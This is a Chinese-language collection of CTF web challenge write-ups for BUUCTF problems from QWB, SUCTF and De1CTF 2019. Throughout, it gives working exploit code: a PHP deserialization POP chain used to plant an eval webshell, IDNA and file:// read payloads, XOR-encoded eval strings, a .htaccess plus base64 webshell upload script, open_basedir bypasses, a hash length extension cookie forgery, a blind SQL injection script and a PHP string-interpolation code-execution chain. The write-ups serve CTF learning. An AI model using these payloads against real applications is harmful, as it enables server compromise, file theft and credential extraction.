BUUCTF_WEB(二)

[强网杯 2019]Upload

[强网杯 2019]Upload

题目流程走了一圈,没发现有什么利用点。查看cookie,发现存在base64编码的反序列化信息,所以猜测有源码泄露,扫目录发现题目存在源码泄露www.tar.gz
,下载源码之后审计源码,既然题目是Upload,应该和上传有关,查看上传部分代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public function upload_img(){
if($this->checker){
if(!$this->checker->login_check()){
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
$this->redirect($curr_url,302);
exit();
}
}

if(!empty($_FILES)){
$this->filename_tmp=$_FILES['upload_file']['tmp_name'];
$this->filename=md5($_FILES['upload_file']['name']).".png";
$this->ext_check();
}
if($this->ext) {
if(getimagesize($this->filename_tmp)) {
@copy($this->filename_tmp, $this->filename);
@unlink($this->filename_tmp);
$this->img="../upload/$this->upload_menu/$this->filename";
$this->update_img();
}else{
$this->error('Forbidden type!', url('../index'));
}
}else{
$this->error('Unknow file type!', url('../index'));
}
}

可以看到上传之后题目都被强制修改后缀为png,无法执行PHP代码,所以要寻找其它漏洞点,结合前面的cookie,查找反序列化相关代码,发现在上传图片后会进行序列化操作
1
2
3
4
public function update_cookie(){
$this->checker->profile['img']=$this->img;
cookie("user",base64_encode(serialize($this->checker->profile)),3600);
}

在首页存在反序列化操作
1
2
3
4
5
6
7
8
9
10
11
12
public function login_check(){
$profile=cookie('user');
if(!empty($profile)){
$this->profile=unserialize(base64_decode($profile));
$this->profile_db=db('user')->where("ID",intval($this->profile['ID']))->find();
if(array_diff($this->profile_db,$this->profile)==null){
return 1;
}else{
return 0;
}
}
}

接下来尝试构造pop链
Profile类中,存在两个魔术方法
1
2
3
4
5
6
7
8
9
10
11
public function __get($name)
{
return $this->except[$name];
}

public function __call($name, $arguments)
{
if($this->{$name}){
$this->{$this->{$name}}($arguments);
}
}

__call的触发需要调用不存在的方法,而在Register类的析构函数中
1
2
3
4
5
6
public function __destruct()
{
if(!$this->registed){
$this->checker->index();
}
}

此处调用了不存在的index方法,可以触发__call方法,然后__call方法又可以触发__get方法,这样,通过__get方法可以执行我们想要执行的函数,而在Profile类的upload_img函数正好存在利用点
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public function upload_img(){
...
if($this->ext) {
if(getimagesize($this->filename_tmp)) {
@copy($this->filename_tmp, $this->filename);
@unlink($this->filename_tmp);
$this->img="../upload/$this->upload_menu/$this->filename";
$this->update_img();
}else{
$this->error('Forbidden type!', url('../index'));
}
}else{
$this->error('Unknow file type!', url('../index'));
}
...
}

我们可以通过控制$ext=1是代码进入此流程,先上传恶意图片,然后利用@copy($this->filename_tmp, $this->filename);来修改我们上传的文件后缀名从而getshell
攻击流程:
先上传恶意图片文件,内容为
1
2
GIF89a
<?php @eval($_REQUEST['snow']); ?>

查看网页源代码获取到该图片的存储位置,序列化代码如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
namespace app\web\controller;
class Profile
{
public $checker;
public $filename_tmp;
public $filename;
public $upload_menu;
public $ext;
public $img;
public $except;
function __construct()
{
$this->except = array('index'=>'upload_img');
$this->ext = 1;
$this->filename_tmp = './upload/76d9f00467e5ee6abc3ca60892ef304e/fb5c81ed3a220004b71069645f112867.png';
$this->filename = './upload/snow.php';
}
}
class Register
{
public $checker;
public $registed;
function __construct($a){
$this->checker = $a;
$this->registed = 0;
}
}
$a = new Profile();
$b = new Register($a);
//echo serialize($b);
echo base64_encode(serialize($b));

替换cookie后刷新页面,访问上传的图片地址即可getshell

[SUCTF 2019]Pythonginx

本题给出了源代码,是一个flask项目,会返回我们提交的url中的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
url = request.args.get("url")
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return "我扌 your problem? 111"
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return "我扌 your problem? 222 " + host
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
#去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl, timeout=2).read()
else:
return "我扌 your problem? 333"

提示我们需要读文件,先是限制了host不能是suctf.cc(如果是函数就返回了),但是后面又显示必须是suctf.cc,关键点就在urlsplit函数,在blackhat2019会议上提到了此漏洞,通过inda编码的字符在进行unicode解码时会导致字符逃逸,例如会变成a/c,显然,这样会导致路径插入,比如suctf.c℀om可以变成suctf.ca/com,从而实现逃逸
回到本题,我们可以直接找一个能解码成c的特殊字符即可

payload如下:
1
2
file://suctf.cⅭ/../../../../usr/local/nginx/conf/nginx.conf
file://suctf.cⅭ/../../../../usr/fffffflag

[SUCTF 2019]EasyWeb

题目给出了源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}
$hhh = @$_GET['_'];
if (!$hhh){
highlight_file(__FILE__);
}
if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}
if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');
$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");
eval($hhh);
?>

题目过滤了大量字符,经测试还有^可以用,参考p牛的方法使用异或进行代码执行,因为存在长度限制,所以使用字符数比较短的GET变量
小知识点: 在PHP中,url 参数默认是字符串类型
fuzz脚本:
1
2
3
4
5
6
7
8
9
10
11
$s = '_GET';
print('%'.dechex(244).' ');
for($j=0;$j<strlen($s);$j++){
for($i=0;$i<255;$i++){
$a = chr(244)^chr($i);
if($a == $s[$j]){
echo '%'.dechex($i);
break;
}
}
}

payload:
1
${%ab%b3%b1%a0^%f4%f4%f4%f4}{%f4}();&%f4=phpinfo

由于长度受限,我们只能执行简单的函数,想要进行读文件等操作还是需要getshell,题目还给出了get_the_flag函数,其中存在上传功能,可以利用此函数进行文件上传,该函数存在过滤点

  1. 后缀检测
  2. 文件内容检测,文件中不得出现<?
  3. exif_imagetype

可以通过文件上传加.htaccess进行绕过,代码没有表单,可以找个上传点抓包然后和本题数据包拼接一下就可以上传了,绕过2处的过滤,需要对PHP文件进行编码

PS:因为是base64编码,所以要保证字符长度是4的倍数,如果不够的话要自己凑一下

然后访问a.ooo即可解析为PHP代码
当然,也可以使用脚本上传

1
2
3
4
5
6
7
8
9
10
import requests

url = r"http://84ae465d-bec5-48bb-965b-bd7f4b51394f.node3.buuoj.cn/?_=${%ab%b3%b1%a0^%f4%f4%f4%f4}{%f4}();&%f4=get_the_flag"
file1 = {'file': ('a.ooo', 'GIF89aaa\nPD9waHAgQGV2YWwoJF9SRVFVRVNUWyJzbm93Il0pO3BocGluZm8oKTs/Pg==')}
file2 = {'file': ('.htaccess', '#define width 45\n#define height 45\nAddType application/x-httpd-php .ooo\nphp_value '
'auto_append_file "php://filter/convert.base64-decode/resource=a.ooo"')}
r = requests.post(url, files=file1).text
print(r)
r = requests.post(url, files=file2).text
print(r)


访问网站flag文件存在提示信息

hhhh
This is fake flag
But I heard php7.2-fpm has been initialized in unix socket mode!
~

需要我们绕过open_basedir限制,我们可以选择绕过该限制,也可以选择直接绕过disable_functions(推荐这种方法,蚁剑有插件)

payload

1
upload/tmp_bad194011f5ad0cf609c77ad222e50d6/a.ooo?snow=chdir(%27img%27);ini_set(%27open_basedir%27,%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);ini_set(%27open_basedir%27,%27/%27);var_dump(file_get_contents(%27/THis_Is_tHe_F14g%27));

[SUCTF 2019]Upload Labs 2

php://filter/resource=phar://./upload/bad194011f5ad0cf609c77ad222e50d6/b5e9b4f86ce43ca65bd79c894c4a924c.gif

[De1CTF 2019]SSRF Me

题目给出源码和提示flag is in ./flag.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)
secert_key = os.urandom(16)
class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
os.mkdir(self.sandbox)
def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result
def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False
#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)
@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
@app.route('/')
def index():
return open("code.txt","r").read()
def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()
def md5(content):
return hashlib.md5(content).hexdigest()
def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False
if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0')

题目很明显是在考察哈希长度扩展攻击,但是在读文件的时候过滤了gopher和file协议,不过找到一篇文章(http://13.58.107.157/archives/8936)说可以使用local_file协议,该协议是linux下支持的一个协议,也可以实现读文件

流程如下:
先访问geneSign页面生成签名,这里要把我们的参数设定好,由于提示已经给出了flag位置,所以通过local_file:flag.txt即可读到flag
在生成签名之后,用hashpump生成即可

PS: input sig 填写我们获得的签名,input data填写之前生成签名的明文最后几位字符,input key len填写明文总长度减去input data长度后的值,最后填写我们要添加的值。

将结果中的\x替换为%后按照要求提交即可,exp如下(cookie要在headers中提交,否则会报错):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests
from urllib import parse
import json

url = 'http://e78b915e-84fa-4293-a7eb-51e747ff6e43.node3.buuoj.cn/'
sig = requests.get(url+'geneSign?param=local_file:flag.txt').content.decode('utf-8')
print(sig)

# 用hashpump生成替换值

headers = {
"Cookie":
r"action=scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%008%01%00%00%00%00%00%00read; sign=a21ff75fdafd472a4e5abda397747fa0"
}

flag = requests.get(url+'De1ta?param=local_file:flag.txt',headers=headers).content.decode('utf-8')
print(json.loads(flag)['data'])

[De1CTF 2019]Giftbox

这题出的挺不错的,虽然整体考点并不难,但是却很考验综合能力,题目给出了源码(看了大佬wp才知道,原题是没有给源码的)
首先得说师傅这前端做的真是漂亮,佩服。题目给了一个模拟shell,可以执行简单的命令,简单usage.md可以看到一些主要命令,但是需要登录

登录界面进行测试发现存在注入,没有任何过滤,不过由于输入空格会被当做命令分隔符,所以需要用注释符来绕过空格,查看浏览记录发现每次请求时需要输入totp值,查看js代码发现这是Google的一个一次性身份验证算法,查看main.js有一段注释信息,基本给出了totp算法的各项参数

1
2
3
4
5
6
7
8
/*
[Developer Notes]
OTP Library for Python located in js/pyotp.zip
Server Params:
digits = 8
interval = 5
window = 1
*/

python下正好就有相应库,那么编写盲注脚本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
import pyotp
from urllib import parse

sec = 'GAXG24JTMZXGKZBU'
totp = pyotp.TOTP(sec, digits=8, interval=5)
url = 'http://25835784-3899-453c-bc84-1e65288ad808.node3.buuoj.cn/shell.php'
password = ''
payload_pre = "?totp={}&a="

for i in range(1, 60):
for j in range(34, 127):
tmp = parse.quote("login ad'/**/or/**/ascii(substr((select/**/password/**/from/**/users/**/where/**/username='admin'),{},1))={}# pa".format(len(password)+1, j))
res = requests.get(url+payload_pre.format(totp.now()) + tmp).content.decode('utf-8')
if 'password incorrect' in res:
password += chr(j)
print(password)
break
if j == 127:
print('finished.')
exit()

得到密码hint{G1ve_u_hi33en_C0mm3nd-sh0w_hiiintttt_23333},密码中给出了命令提示sh0w_hiiintttt_23333,尝试运行一下
1
2
[de1ta@de1ta-mbp /sandbox]% sh0w_hiiintttt_23333
we add an evil monster named 'eval' when launching missiles.

那么基本就是命令执行了,登录之后,执行targeting命令设定参数,存在过滤
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
function checkCode($code){
$table='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
if (strlen($code)>2){
return 'code too long.';
}
for ($i=0; $i<strlen($code); $i++) {
if (strpos($table,$code[$i])===FALSE){
return 'bad code.';
}
}
if (file_exists($sandbox.'missiles/'.md5($_SERVER['REMOTE_ADDR']).'/'.$code)){
return 'target existed.';
}
return NULL;
}
function checkPosition($position){
$table='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789})$({_+-,.';
if (strlen($position)>12){
return 'position too long.';
}
for ($i=0; $i<strlen($position); $i++) {
if (strpos($table,$position[$i])===FALSE){
return 'bad position.';
}
}
return NULL;
}

在设定参数之后,如targeting a b,后台会把我们的处理为$a="b",然后带入eval中执行,由于使用了双引号包裹变量导致了漏洞,因为在PHP中,双引号包裹的变量会被PHP尝试解析https://www.php.net/manual/zh/language.types.string.php#language.types.string.parsing,利用此特性我们就可以进行函数执行,尝试执行phpinfo(),targeting a ${phpinfo()},将返回页面保存到本地打开可以看到函数执行信息


可以看到题目设置了basedir,需要进行绕过,payload如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import requests
from urllib import parse
import pyotp
import re

sec = 'GAXG24JTMZXGKZBU'
totp = pyotp.TOTP(sec, digits=8, interval=5)
session = requests.session()
base_url = 'http://25835784-3899-453c-bc84-1e65288ad808.node3.buuoj.cn/shell.php'

def login(sig):
url = base_url + '?a={}&totp={}'
payload = parse.quote('login admin hint{G1ve_u_hi33en_C0mm3nd-sh0w_hiiintttt_23333}')
con = session.get(url.format(payload, sig)).text
print(con)

def destruct(sig):
url = base_url + '?a={}&totp={}'
payload = 'destruct'
con = session.get(url.format(payload, sig)).text
print(con)

def targeting(sig, payload):
url = base_url + '?a={}&totp={}'
con = session.get(url.format(parse.quote(payload), sig)).text
print(con)

def launch(sig):
url = base_url + '?a={}&totp={}'
payload = 'launch'
con = session.get(url.format(payload, sig)).text
flag = re.findall(r'(flag\{[a-z0-9\-]+\})',con)
if flag:
print(flag[0])
else:
print(con)
login(totp.now())
destruct(totp.now())

# phpinfo()
# payloads = ['targeting a ${phpinfo()}']

# scandir('/')
# payloads = ['targeting a chdir','targeting b img','targeting c {$a($b)}','targeting d ini_set','targeting e open_basedir',
# 'targeting f ..','targeting g {$d($e,$f)}','targeting h {$a($f)}','targeting i {$a($f)}','targeting j chr',
# 'targeting k {$j(47)}','targeting l {$d($e,$k)}','targeting m scandir','targeting n print_r','targeting o {$n($m($k))}']

# file_get_contents('/flag')
payloads = ['targeting a chdir','targeting b img','targeting c {$a($b)}','targeting d ini_set','targeting e open_basedir',
'targeting f ..','targeting g {$d($e,$f)}','targeting h {$a($f)}','targeting i {$a($f)}','targeting j chr',
'targeting k {$j(47)}','targeting l {$d($e,$k)}','targeting m flag','targeting n $k$m','targeting o file_get_',
'targeting p contents','targeting q $o$p','targeting r {$q($n)}']

for each in payloads:
targeting(totp.now(), each)
launch(totp.now())